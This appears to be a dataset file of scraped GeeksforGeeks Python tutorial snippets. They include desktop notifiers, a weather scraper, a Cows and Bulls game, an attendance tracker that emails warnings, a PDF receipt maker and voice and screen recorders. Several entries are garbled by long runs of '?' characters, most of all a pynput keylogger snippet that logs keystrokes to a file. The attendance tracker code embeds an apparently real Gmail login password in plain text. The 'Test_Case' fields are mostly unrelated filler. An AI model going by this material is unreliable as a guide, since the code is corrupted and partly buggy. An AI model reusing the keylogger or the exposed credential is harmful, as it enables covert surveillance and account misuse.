Description
stringlengths
9
105
Link
stringlengths
45
135
Code
stringlengths
10
26.8k
Test_Case
stringlengths
9
202
Merge
stringlengths
63
27k
Desktop Notifier in Python
https://www.geeksforgeeks.org/desktop-notifier-python/
import time import notify2 from topnews import topStories # path to notification window icon ICON_PATH = "put full path to icon image here" # fetch news items newsitems = topStories() # initialise the d-bus connection notify2.init("News Notifier") # create Notification object n = notify2.Notification(None, icon=ICON_PATH) # set urgency level n.set_urgency(notify2.URGENCY_NORMAL) # set timeout for a notification n.set_timeout(10000) for newsitem in newsitems: # update notification data for Notification object n.update(newsitem["title"], newsitem["description"]) # show notification on screen n.show() # short delay between notifications time.sleep(15)
#Output : {'description': 'Months after it was first reported, the feud between Dwayne Johnson and
Desktop Notifier in Python import time import notify2 from topnews import topStories # path to notification window icon ICON_PATH = "put full path to icon image here" # fetch news items newsitems = topStories() # initialise the d-bus connection notify2.init("News Notifier") # create Notification object n = notify2.Notification(None, icon=ICON_PATH) # set urgency level n.set_urgency(notify2.URGENCY_NORMAL) # set timeout for a notification n.set_timeout(10000) for newsitem in newsitems: # update notification data for Notification object n.update(newsitem["title"], newsitem["description"]) # show notification on screen n.show() # short delay between notifications time.sleep(15) #Output : {'description': 'Months after it was first reported, the feud between Dwayne Johnson and [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
import requests from bs4 import BeautifulSoup from win10toast import ToastNotifier
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python import requests from bs4 import BeautifulSoup from win10toast import ToastNotifier #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
n = ToastNotifier()
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python n = ToastNotifier() #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
def getdata(url): r = requests.get(url) return r.text
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python def getdata(url): r = requests.get(url) return r.text #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
htmldata = getdata( "https://weather.com/en-IN/weather/today/l/25.59,85.14?par=google&temp=c/" ) soup = BeautifulSoup(htmldata, "html.parser") print(soup.prettify())
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python htmldata = getdata( "https://weather.com/en-IN/weather/today/l/25.59,85.14?par=google&temp=c/" ) soup = BeautifulSoup(htmldata, "html.parser") print(soup.prettify()) #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
current_temp = soup.find_all( "span", class_=" _-_-components-src-organism-CurrentConditions-CurrentConditions--tempValue--MHmYY", ) chances_rain = soup.find_all( "div", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--precipValue--2aJSf", ) temp = str(current_temp) temp_rain = str(chances_rain) result = "current_temp " + temp[128:-9] + " in patna bihar" + "\n" + temp_rain[131:-14]
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python current_temp = soup.find_all( "span", class_=" _-_-components-src-organism-CurrentConditions-CurrentConditions--tempValue--MHmYY", ) chances_rain = soup.find_all( "div", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--precipValue--2aJSf", ) temp = str(current_temp) temp_rain = str(chances_rain) result = "current_temp " + temp[128:-9] + " in patna bihar" + "\n" + temp_rain[131:-14] #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
n.show_toast("Weather update", result, duration=10)
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python n.show_toast("Weather update", result, duration=10) #Output : pip install bs4 [END]
Get Live Weather Desktop Notifications Using Python
https://www.geeksforgeeks.org/get-live-weather-desktop-notifications-using-python/
# import required libraries import requests from bs4 import BeautifulSoup from win10toast import ToastNotifier # create an object to ToastNotifier class n = ToastNotifier() # define a function def getdata(url): r = requests.get(url) return r.text htmldata = getdata( "https://weather.com/en-IN/weather/today/l/25.59,85.14?par=google&temp=c/" ) soup = BeautifulSoup(htmldata, "html.parser") current_temp = soup.find_all( "span", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--tempValue--MHmYY", ) chances_rain = soup.find_all( "div", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--precipValue--2aJSf", ) temp = str(current_temp) temp_rain = str(chances_rain) result = "current_temp " + temp[128:-9] + " in patna bihar" + "\n" + temp_rain[131:-14] n.show_toast("live Weather update", result, duration=10)
#Output : pip install bs4
Get Live Weather Desktop Notifications Using Python # import required libraries import requests from bs4 import BeautifulSoup from win10toast import ToastNotifier # create an object to ToastNotifier class n = ToastNotifier() # define a function def getdata(url): r = requests.get(url) return r.text htmldata = getdata( "https://weather.com/en-IN/weather/today/l/25.59,85.14?par=google&temp=c/" ) soup = BeautifulSoup(htmldata, "html.parser") current_temp = soup.find_all( "span", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--tempValue--MHmYY", ) chances_rain = soup.find_all( "div", class_="_-_-components-src-organism-CurrentConditions-CurrentConditions--precipValue--2aJSf", ) temp = str(current_temp) temp_rain = str(chances_rain) result = "current_temp " + temp[128:-9] + " in patna bihar" + "\n" + temp_rain[131:-14] n.show_toast("live Weather update", result, duration=10) #Output : pip install bs4 [END]
How to use pynput to make a Keylogger?
https://www.geeksforgeeks.org/how-to-use-pynput-to-make-a-keylogger/
# keylogger using pynput module????????????import pynputfrom pynput.keyboard import Key, Listener????????????keys = []????????????def on_press(key):??????????????????????????????????????????????????????keys.append(key)????????????????????????write_file(keys)??????????????????????????????????????????????????????try:????????????????????????????????????????????????print('alphanumeric key {0} pressed'.format(key.char))??????????????????????????????????????????????????????????????????????????????except AttributeError:????????????????????????????????????????????????print('special key {0} pressed'.format(key))??"'", "")????????????????????????????????????????????????????????????????????????f.write(k??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????# explicitly adding a space after????????????????????????????????????????????????????????????????????????# every keystroke for readability????????????????????????????????????????????????????????????????????????f.write(' ')????????????????????????????????????????????????????????????????????????????????????def on_release(key):????????
#Output : pip install pynput
How to use pynput to make a Keylogger? # keylogger using pynput module????????????import pynputfrom pynput.keyboard import Key, Listener????????????keys = []????????????def on_press(key):??????????????????????????????????????????????????????keys.append(key)????????????????????????write_file(keys)??????????????????????????????????????????????????????try:????????????????????????????????????????????????print('alphanumeric key {0} pressed'.format(key.char))??????????????????????????????????????????????????????????????????????????????except AttributeError:????????????????????????????????????????????????print('special key {0} pressed'.format(key))??"'", "")????????????????????????????????????????????????????????????????????????f.write(k??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????# explicitly adding a space after????????????????????????????????????????????????????????????????????????# every keystroke for readability????????????????????????????????????????????????????????????????????????f.write(' ')????????????????????????????????????????????????????????????????????????????????????def on_release(key):???????? #Output : pip install pynput [END]
Python - Cows and Bull
https://www.geeksforgeeks.org/python-cows-and-bulls-game/
# Import required module import random # Returns list of digits # of a number def getDigits(num): return [int(i) for i in str(num)] # Returns True if number has # no duplicate digits # otherwise False def noDuplicates(num): num_li = getDigits(num) if len(num_li) == len(set(num_li)): return True else: return False # Generates a 4 digit number # with no repeated digits def generateNum(): while True: num = random.randint(1000, 9999) if noDuplicates(num): return num # Returns common digits with exact # matches (bulls) and the common # digits in wrong position (cows) def numOfBullsCows(num, guess): bull_cow = [0, 0] num_li = getDigits(num) guess_li = getDigits(guess) for i, j in zip(num_li, guess_li): # common digit present if j in num_li: # common digit exact match if j == i: bull_cow[0] += 1 # common digit match but in wrong position else: bull_cow[1] += 1 return bull_cow # Secret Code num = generateNum() tries = int(input("Enter number of tries: ")) # Play game until correct guess # or till no tries left while tries > 0: guess = int(input("Enter your guess: ")) if not noDuplicates(guess): print("Number should not have repeated digits. Try again.") continue if guess < 1000 or guess > 9999: print("Enter 4 digit number only. Try again.") continue bull_cow = numOfBullsCows(num, guess) print(f"{bull_cow[0]} bulls, {bull_cow[1]} cows") tries -= 1 if bull_cow[0] == 4: print("You guessed right!") break else: print(f"You ran out of tries. Number was {num}")
#Output : Secret Code: 3768
Python - Cows and Bull # Import required module import random # Returns list of digits # of a number def getDigits(num): return [int(i) for i in str(num)] # Returns True if number has # no duplicate digits # otherwise False def noDuplicates(num): num_li = getDigits(num) if len(num_li) == len(set(num_li)): return True else: return False # Generates a 4 digit number # with no repeated digits def generateNum(): while True: num = random.randint(1000, 9999) if noDuplicates(num): return num # Returns common digits with exact # matches (bulls) and the common # digits in wrong position (cows) def numOfBullsCows(num, guess): bull_cow = [0, 0] num_li = getDigits(num) guess_li = getDigits(guess) for i, j in zip(num_li, guess_li): # common digit present if j in num_li: # common digit exact match if j == i: bull_cow[0] += 1 # common digit match but in wrong position else: bull_cow[1] += 1 return bull_cow # Secret Code num = generateNum() tries = int(input("Enter number of tries: ")) # Play game until correct guess # or till no tries left while tries > 0: guess = int(input("Enter your guess: ")) if not noDuplicates(guess): print("Number should not have repeated digits. Try again.") continue if guess < 1000 or guess > 9999: print("Enter 4 digit number only. Try again.") continue bull_cow = numOfBullsCows(num, guess) print(f"{bull_cow[0]} bulls, {bull_cow[1]} cows") tries -= 1 if bull_cow[0] == 4: print("You guessed right!") break else: print(f"You ran out of tries. Number was {num}") #Output : Secret Code: 3768 [END]
Simple Attendance Tracker using Python
https://www.geeksforgeeks.org/simple-attendance-tracker-using-python/
def savefile(): book.save(r"<your-path>\attendance.xlsx") print("saved!")
#Output : 1--->CI
Simple Attendance Tracker using Python def savefile(): book.save(r"<your-path>\attendance.xlsx") print("saved!") #Output : 1--->CI [END]
Simple Attendance Tracker using Python
https://www.geeksforgeeks.org/simple-attendance-tracker-using-python/
def check(no_of_days, row_num, b): # to use the globally declared lists and strings global staff_mails global l2 global l3
#Output : 1--->CI
Simple Attendance Tracker using Python def check(no_of_days, row_num, b): # to use the globally declared lists and strings global staff_mails global l2 global l3 #Output : 1--->CI [END]
Simple Attendance Tracker using Python
https://www.geeksforgeeks.org/simple-attendance-tracker-using-python/
# for students def mailstu(li, msg): from_id = "[email protected]" pwd = "XXXXXXXXXXXXX" s = smtplib.SMTP("smtp.gmail.com", 587) s.starttls() s.login(from_id, pwd) # for each student to warn send mail for i in range(0, len(li)): to_id = li[i] message = MIMEMultipart() message["Subject"] = "Attendance report" message.attach(MIMEText(msg, "plain")) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("mail sent to students") # for staffs def mailstaff(mail_id, msg): from_id = "[email protected]" pwd = "XXXXXXXX" to_id = mail_id message = MIMEMultipart() message["Subject"] = "Lack of attendance report" message.attach(MIMEText(msg, "plain")) s = smtplib.SMTP("smtp.gmail.com", 587) s.starttls() s.login(from_id, pwd) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("Mail Sent to staff")
#Output : 1--->CI
Simple Attendance Tracker using Python # for students def mailstu(li, msg): from_id = "[email protected]" pwd = "XXXXXXXXXXXXX" s = smtplib.SMTP("smtp.gmail.com", 587) s.starttls() s.login(from_id, pwd) # for each student to warn send mail for i in range(0, len(li)): to_id = li[i] message = MIMEMultipart() message["Subject"] = "Attendance report" message.attach(MIMEText(msg, "plain")) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("mail sent to students") # for staffs def mailstaff(mail_id, msg): from_id = "[email protected]" pwd = "XXXXXXXX" to_id = mail_id message = MIMEMultipart() message["Subject"] = "Lack of attendance report" message.attach(MIMEText(msg, "plain")) s = smtplib.SMTP("smtp.gmail.com", 587) s.starttls() s.login(from_id, pwd) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("Mail Sent to staff") #Output : 1--->CI [END]
Simple Attendance Tracker using Python
https://www.geeksforgeeks.org/simple-attendance-tracker-using-python/
import openpyxl import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # loading the excel sheet book = openpyxl.load_workbook("D:\\attendance.xlsx") # Choose the sheet sheet = book["Sheet1"] # counting number of rows / students r = sheet.max_row # variable for looping for input resp = 1 # counting number of columns / subjects c = sheet.max_column # list of students to remind l1 = [] # to concatenate list of roll numbers with # lack of attendance l2 = "" # list of roll numbers with lack of attendance l3 = [] # staff mail ids staff_mails = ["[email protected]", "[email protected]"] # Warning messages m1 = "warning!!! you can take only one more day leave for CI class" m2 = "warning!!! you can take only one more day leave for python class" m3 = "warning!!! you can take only one more day leave for DM class" def savefile(): book.save(r"D:\\attendance.xlsx") print("saved!") def check(no_of_days, row_num, b): # to use the globally declared lists and strings global staff_mails global l2 global l3 for student in range(0, len(row_num)): # if total no.of.leaves equals threshold if no_of_days[student] is 2: if b is 1: # mail_id appending l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m1) # sending mail elif b is 2: l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m2) else: l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m3) # if total.no.of.leaves > threshold elif no_of_days[student] > 2: if b is 1: # adding roll no l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) # student mail_id appending l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "CI" # subject based on the code number elif b is 2: l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "Python" else: l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "Data mining" # If threshold crossed, modify the message if l2 != "" and len(l3) != 0: # message for student msg1 = "you have lack of attendance in " + subject + " !!!" # message for staff msg2 = ( "the following students have lack of attendance in your subject : " + l2 ) mailstu(l3, msg1) # mail to students staff_id = staff_mails[b - 1] # pick respective staff's mail_id mailstaff(staff_id, msg2) # mail to staff # for students def mailstu(li, msg): from_id = "[email protected]" pwd = "ERAkshaya485" s = smtplib.SMTP("smtp.gmail.com", 587, timeout=120) s.starttls() s.login(from_id, pwd) # for each student to warn send mail for i in range(0, len(li)): to_id = li[i] message = MIMEMultipart() message["Subject"] = "Attendance report" message.attach(MIMEText(msg, "plain")) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("mail sent to students") # for staff def mailstaff(mail_id, msg): from_id = "[email protected]" pwd = "ERAkshaya485" to_id = mail_id message = MIMEMultipart() message["Subject"] = "Lack of attendance report" message.attach(MIMEText(msg, "plain")) s = smtplib.SMTP("smtp.gmail.com", 587, timeout=120) s.starttls() s.login(from_id, pwd) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("Mail Sent to staff") while resp is 1: print("1--->CI\n2--->python\n3--->DM") # enter the correspondingnumber y = int(input("enter subject :")) # no.of.absentees for that subject no_of_absentees = int(input("no.of.absentees :")) if no_of_absentees > 1: x = list(map(int, (input("roll nos :").split(" ")))) else: x = [int(input("roll no :"))] # list to hold row of the student in Excel sheet row_num = [] # list to hold total no.of leaves # taken by ith student no_of_days = [] for student in x: for i in range(2, r + 1): if y is 1: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=3).value m = m + 1 sheet.cell(row=i, column=3).value = m savefile() no_of_days.append(m) row_num.append(i) elif y is 2: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=4).value m = m + 1 sheet.cell(row=i, column=4).value = m + 1 no_of_days.append(m) row_num.append(i) elif y is 3: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=5).value m = m + 1 sheet.cell(row=i, column=5).value = m + 1 row_num.append(i) no_of_days.append(m) check(no_of_days, row_num, y) resp = int(input("another subject ? 1---->yes 0--->no"))
#Output : 1--->CI
Simple Attendance Tracker using Python import openpyxl import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # loading the excel sheet book = openpyxl.load_workbook("D:\\attendance.xlsx") # Choose the sheet sheet = book["Sheet1"] # counting number of rows / students r = sheet.max_row # variable for looping for input resp = 1 # counting number of columns / subjects c = sheet.max_column # list of students to remind l1 = [] # to concatenate list of roll numbers with # lack of attendance l2 = "" # list of roll numbers with lack of attendance l3 = [] # staff mail ids staff_mails = ["[email protected]", "[email protected]"] # Warning messages m1 = "warning!!! you can take only one more day leave for CI class" m2 = "warning!!! you can take only one more day leave for python class" m3 = "warning!!! you can take only one more day leave for DM class" def savefile(): book.save(r"D:\\attendance.xlsx") print("saved!") def check(no_of_days, row_num, b): # to use the globally declared lists and strings global staff_mails global l2 global l3 for student in range(0, len(row_num)): # if total no.of.leaves equals threshold if no_of_days[student] is 2: if b is 1: # mail_id appending l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m1) # sending mail elif b is 2: l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m2) else: l1.append(sheet.cell(row=row_num[student], column=2).value) mailstu(l1, m3) # if total.no.of.leaves > threshold elif no_of_days[student] > 2: if b is 1: # adding roll no l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) # student mail_id appending l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "CI" # subject based on the code number elif b is 2: l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "Python" else: l2 = l2 + str(sheet.cell(row=row_num[student], column=1).value) l3.append(sheet.cell(row=row_num[student], column=2).value) subject = "Data mining" # If threshold crossed, modify the message if l2 != "" and len(l3) != 0: # message for student msg1 = "you have lack of attendance in " + subject + " !!!" # message for staff msg2 = ( "the following students have lack of attendance in your subject : " + l2 ) mailstu(l3, msg1) # mail to students staff_id = staff_mails[b - 1] # pick respective staff's mail_id mailstaff(staff_id, msg2) # mail to staff # for students def mailstu(li, msg): from_id = "[email protected]" pwd = "ERAkshaya485" s = smtplib.SMTP("smtp.gmail.com", 587, timeout=120) s.starttls() s.login(from_id, pwd) # for each student to warn send mail for i in range(0, len(li)): to_id = li[i] message = MIMEMultipart() message["Subject"] = "Attendance report" message.attach(MIMEText(msg, "plain")) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("mail sent to students") # for staff def mailstaff(mail_id, msg): from_id = "[email protected]" pwd = "ERAkshaya485" to_id = mail_id message = MIMEMultipart() message["Subject"] = "Lack of attendance report" message.attach(MIMEText(msg, "plain")) s = smtplib.SMTP("smtp.gmail.com", 587, timeout=120) s.starttls() s.login(from_id, pwd) content = message.as_string() s.sendmail(from_id, to_id, content) s.quit() print("Mail Sent to staff") while resp is 1: print("1--->CI\n2--->python\n3--->DM") # enter the correspondingnumber y = int(input("enter subject :")) # no.of.absentees for that subject no_of_absentees = int(input("no.of.absentees :")) if no_of_absentees > 1: x = list(map(int, (input("roll nos :").split(" ")))) else: x = [int(input("roll no :"))] # list to hold row of the student in Excel sheet row_num = [] # list to hold total no.of leaves # taken by ith student no_of_days = [] for student in x: for i in range(2, r + 1): if y is 1: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=3).value m = m + 1 sheet.cell(row=i, column=3).value = m savefile() no_of_days.append(m) row_num.append(i) elif y is 2: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=4).value m = m + 1 sheet.cell(row=i, column=4).value = m + 1 no_of_days.append(m) row_num.append(i) elif y is 3: if sheet.cell(row=i, column=1).value is student: m = sheet.cell(row=i, column=5).value m = m + 1 sheet.cell(row=i, column=5).value = m + 1 row_num.append(i) no_of_days.append(m) check(no_of_days, row_num, y) resp = int(input("another subject ? 1---->yes 0--->no")) #Output : 1--->CI [END]
Fun Fact Generator Web App in Python
https://www.geeksforgeeks.org/fun-fact-generator-web-app-in-python/
# import the following modulesimport jsonimport requestsfrom pywebio.input import *from pywebio.output import *from pywebio.session import *????????????????????????def get_fun_fact(_):????????????????????????????????????????????????# Clear the "<p align=""left""><h2><img src=""https://\??????????????????????????????????????????????????????????????????????????????media.geeksforgeeks.org/wp-content/uploads/\???????????"" width=""7%"">?????? \?????????????????????????????????????????????????")????????????????????????????????????????????????????????????# URL from wh"https://uselessfacts.jsph.pl/random.json?language=en"????????????????????# Use GET request????????response = requests.request("GET", url)????????????????????????????????????????????????????????????????????????# Load the request in json file????????????????????????data = json.loads(response.text)??????????????????????????????????????????????????????????????????????????????????????????????????????????????????# we will need 'text' from the list, so??????????????????????????????# pass 'text' in the list????????????????????????useless_fact = data['text']??????????????????????????????????????????????????????????????????????????????????????????????????????????????????# Put the facts in the blue colour????????????????????????# Put the click me button????????????????????????style(put_text(useless_fact),"Fun Fact Generator"????????put_html("<p align=""left""><h2><img src=""https://media.\??????????????????????????????????????????????????????????????????????????????geeksforgeeks.org/wp-content/uploads/202107202241"" width=""7%"">?????? \?????????????????????????????????????????????????")????????????????????????????????????????????????????????????# hold the session for long time????????????????????????# Put a Click me button????????????????????????put_buttons(????????????????????????????????????????????????[dict(label='Click me', value='o
#Output : pip install pywebio
Fun Fact Generator Web App in Python # import the following modulesimport jsonimport requestsfrom pywebio.input import *from pywebio.output import *from pywebio.session import *????????????????????????def get_fun_fact(_):????????????????????????????????????????????????# Clear the "<p align=""left""><h2><img src=""https://\??????????????????????????????????????????????????????????????????????????????media.geeksforgeeks.org/wp-content/uploads/\???????????"" width=""7%"">?????? \?????????????????????????????????????????????????")????????????????????????????????????????????????????????????# URL from wh"https://uselessfacts.jsph.pl/random.json?language=en"????????????????????# Use GET request????????response = requests.request("GET", url)????????????????????????????????????????????????????????????????????????# Load the request in json file????????????????????????data = json.loads(response.text)??????????????????????????????????????????????????????????????????????????????????????????????????????????????????# we will need 'text' from the list, so??????????????????????????????# pass 'text' in the list????????????????????????useless_fact = data['text']??????????????????????????????????????????????????????????????????????????????????????????????????????????????????# Put the facts in the blue colour????????????????????????# Put the click me button????????????????????????style(put_text(useless_fact),"Fun Fact Generator"????????put_html("<p align=""left""><h2><img src=""https://media.\??????????????????????????????????????????????????????????????????????????????geeksforgeeks.org/wp-content/uploads/202107202241"" width=""7%"">?????? \?????????????????????????????????????????????????")????????????????????????????????????????????????????????????# hold the session for long time????????????????????????# Put a Click me button????????????????????????put_buttons(????????????????????????????????????????????????[dict(label='Click me', value='o #Output : pip install pywebio [END]
Creating payment receipts using Python
https://www.geeksforgeeks.org/creating-payment-receipts-using-python/
# imports module from reportlab.platypus import SimpleDocTemplate, Table, Paragraph, TableStyle from reportlab.lib import colors from reportlab.lib.pagesizes import A4 from reportlab.lib.styles import getSampleStyleSheet # data which we are going to display as tables DATA = [ ["Date", "Name", "Subscription", "Price (Rs.)"], [ "16/11/2020", "Full Stack Development with React & Node JS - Live", "Lifetime", "10,999.00/-", ], ["16/11/2020", "Geeks Classes: Live Session", "6 months", "9,999.00/-"], ["Sub Total", "", "", "20,9998.00/-"], ["Discount", "", "", "-3,000.00/-"], ["Total", "", "", "17,998.00/-"], ] # creating a Base Document Template of page size A4 pdf = SimpleDocTemplate("receipt.pdf", pagesize=A4) # standard stylesheet defined within reportlab itself styles = getSampleStyleSheet() # fetching the style of Top level heading (Heading1) title_style = styles["Heading1"] # 0: left, 1: center, 2: right title_style.alignment = 1 # creating the paragraph with # the heading text and passing the styles of it title = Paragraph("GeeksforGeeks", title_style) # creates a Table Style object and in it, # defines the styles row wise # the tuples which look like coordinates # are nothing but rows and columns style = TableStyle( [ ("BOX", (0, 0), (-1, -1), 1, colors.black), ("GRID", (0, 0), (4, 4), 1, colors.black), ("BACKGROUND", (0, 0), (3, 0), colors.gray), ("TEXTCOLOR", (0, 0), (-1, 0), colors.whitesmoke), ("ALIGN", (0, 0), (-1, -1), "CENTER"), ("BACKGROUND", (0, 1), (-1, -1), colors.beige), ] ) # creates a table object and passes the style to it table = Table(DATA, style=style) # final step which builds the # actual pdf putting together all the elements pdf.build([title, table])
#Output : pip install reportlab
Creating payment receipts using Python # imports module from reportlab.platypus import SimpleDocTemplate, Table, Paragraph, TableStyle from reportlab.lib import colors from reportlab.lib.pagesizes import A4 from reportlab.lib.styles import getSampleStyleSheet # data which we are going to display as tables DATA = [ ["Date", "Name", "Subscription", "Price (Rs.)"], [ "16/11/2020", "Full Stack Development with React & Node JS - Live", "Lifetime", "10,999.00/-", ], ["16/11/2020", "Geeks Classes: Live Session", "6 months", "9,999.00/-"], ["Sub Total", "", "", "20,9998.00/-"], ["Discount", "", "", "-3,000.00/-"], ["Total", "", "", "17,998.00/-"], ] # creating a Base Document Template of page size A4 pdf = SimpleDocTemplate("receipt.pdf", pagesize=A4) # standard stylesheet defined within reportlab itself styles = getSampleStyleSheet() # fetching the style of Top level heading (Heading1) title_style = styles["Heading1"] # 0: left, 1: center, 2: right title_style.alignment = 1 # creating the paragraph with # the heading text and passing the styles of it title = Paragraph("GeeksforGeeks", title_style) # creates a Table Style object and in it, # defines the styles row wise # the tuples which look like coordinates # are nothing but rows and columns style = TableStyle( [ ("BOX", (0, 0), (-1, -1), 1, colors.black), ("GRID", (0, 0), (4, 4), 1, colors.black), ("BACKGROUND", (0, 0), (3, 0), colors.gray), ("TEXTCOLOR", (0, 0), (-1, 0), colors.whitesmoke), ("ALIGN", (0, 0), (-1, -1), "CENTER"), ("BACKGROUND", (0, 1), (-1, -1), colors.beige), ] ) # creates a table object and passes the style to it table = Table(DATA, style=style) # final step which builds the # actual pdf putting together all the elements pdf.build([title, table]) #Output : pip install reportlab [END]
Convert emoji into text in Python
https://www.geeksforgeeks.org/convert-emoji-into-text-in-python/
import demoji demoji.download_codes()
#Output : pip install demoji
Convert emoji into text in Python import demoji demoji.download_codes() #Output : pip install demoji [END]
Create a Voice Recorder using Python
https://www.geeksforgeeks.org/create-a-voice-recorder-using-python/
# import required libraries import sounddevice as sd from scipy.io.wavfile import write import wavio as wv # Sampling frequency freq = 44100 # Recording duration duration = 5 # Start recorder with the given values # of duration and sample frequency recording = sd.rec(int(duration * freq), samplerate=freq, channels=2) # Record audio for the given number of seconds sd.wait() # This will convert the NumPy array to an audio # file with the given sampling frequency write("recording0.wav", freq, recording) # Convert the NumPy array to audio file wv.write("recording1.wav", recording, freq, sampwidth=2)
#Output : pip install wavio
Create a Voice Recorder using Python # import required libraries import sounddevice as sd from scipy.io.wavfile import write import wavio as wv # Sampling frequency freq = 44100 # Recording duration duration = 5 # Start recorder with the given values # of duration and sample frequency recording = sd.rec(int(duration * freq), samplerate=freq, channels=2) # Record audio for the given number of seconds sd.wait() # This will convert the NumPy array to an audio # file with the given sampling frequency write("recording0.wav", freq, recording) # Convert the NumPy array to audio file wv.write("recording1.wav", recording, freq, sampwidth=2) #Output : pip install wavio [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
# importing the required packages import pyautogui import cv2 import numpy as np
#Output : pip install numpy
Create a Screen recorder using Python # importing the required packages import pyautogui import cv2 import numpy as np #Output : pip install numpy [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
# Specify resolution resolution = (1920, 1080) # Specify video codec codec = cv2.VideoWriter_fourcc(*"XVID") # Specify name of Output file filename = "Recording.avi" # Specify frames rate. We can choose # any value and experiment with it fps = 60.0 # Creating a VideoWriter object out = cv2.VideoWriter(filename, codec, fps, resolution)
#Output : pip install numpy
Create a Screen recorder using Python # Specify resolution resolution = (1920, 1080) # Specify video codec codec = cv2.VideoWriter_fourcc(*"XVID") # Specify name of Output file filename = "Recording.avi" # Specify frames rate. We can choose # any value and experiment with it fps = 60.0 # Creating a VideoWriter object out = cv2.VideoWriter(filename, codec, fps, resolution) #Output : pip install numpy [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
# Create an Empty window cv2.namedWindow("Live", cv2.WINDOW_NORMAL) # Resize this window cv2.resizeWindow("Live", 480, 270)
#Output : pip install numpy
Create a Screen recorder using Python # Create an Empty window cv2.namedWindow("Live", cv2.WINDOW_NORMAL) # Resize this window cv2.resizeWindow("Live", 480, 270) #Output : pip install numpy [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
while True: # Take screenshot using PyAutoGUI img = pyautogui.screenshot() # Convert the screenshot to a numpy array frame = np.array(img) # Convert it from BGR(Blue, Green, Red) to # RGB(Red, Green, Blue) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Write it to the output file out.write(frame) # Optional: Display the recording screen cv2.imshow("Live", frame) # Stop recording when we press 'q' if cv2.waitKey(1) == ord("q"): break
#Output : pip install numpy
Create a Screen recorder using Python while True: # Take screenshot using PyAutoGUI img = pyautogui.screenshot() # Convert the screenshot to a numpy array frame = np.array(img) # Convert it from BGR(Blue, Green, Red) to # RGB(Red, Green, Blue) frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Write it to the output file out.write(frame) # Optional: Display the recording screen cv2.imshow("Live", frame) # Stop recording when we press 'q' if cv2.waitKey(1) == ord("q"): break #Output : pip install numpy [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
# Release the Video writer out.release() # Destroy all windows cv2.destroyAllWindows()
#Output : pip install numpy
Create a Screen recorder using Python # Release the Video writer out.release() # Destroy all windows cv2.destroyAllWindows() #Output : pip install numpy [END]
Create a Screen recorder using Python
https://www.geeksforgeeks.org/create-a-screen-recorder-using-python/
